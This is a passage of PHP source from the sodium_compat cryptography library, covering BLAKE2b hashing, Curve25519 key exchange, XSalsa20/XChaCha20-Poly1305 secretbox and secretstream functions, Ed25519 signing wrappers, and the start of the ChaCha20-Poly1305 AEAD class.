            $s = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s, $p);

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in, $in->count());

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk)
    {
        return self::generichash(
            self::scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core32_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core32_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core32_Util::xorStrings(
            ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core32_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core32_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core32_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core32_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core32_Util::xorStrings(
            ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core32_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core32_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key);
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) . str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key, $header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core32_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core32_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core32_Util::intToChr($tag) . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k);
        $cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '')
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);

        $cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);

        #     if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                        state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen + 1, 16);
        if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
        # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] =
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .= ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message, $sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage, $pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature, $message, $pk);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Crypto', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 0, $clen);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

